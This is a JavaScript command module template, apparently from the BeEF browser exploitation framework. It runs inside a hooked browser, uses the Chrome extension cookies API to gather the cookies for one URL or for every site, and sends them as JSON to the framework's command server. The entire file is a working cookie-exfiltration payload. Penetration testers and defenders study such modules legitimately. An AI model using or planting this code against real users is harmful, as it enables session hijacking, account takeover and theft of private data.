beef.execute(function() {
the_url = "<%== @url %>";
if (the_url != 'default_all') {
chrome.cookies.getAll({url:the_url}, function(cookies){
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'cookies: ' + JSON.stringify(cookies));
})
} else {
chrome.cookies.getAll({}, function(cookies){
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'cookies: ' + JSON.stringify(cookies));
})
}
});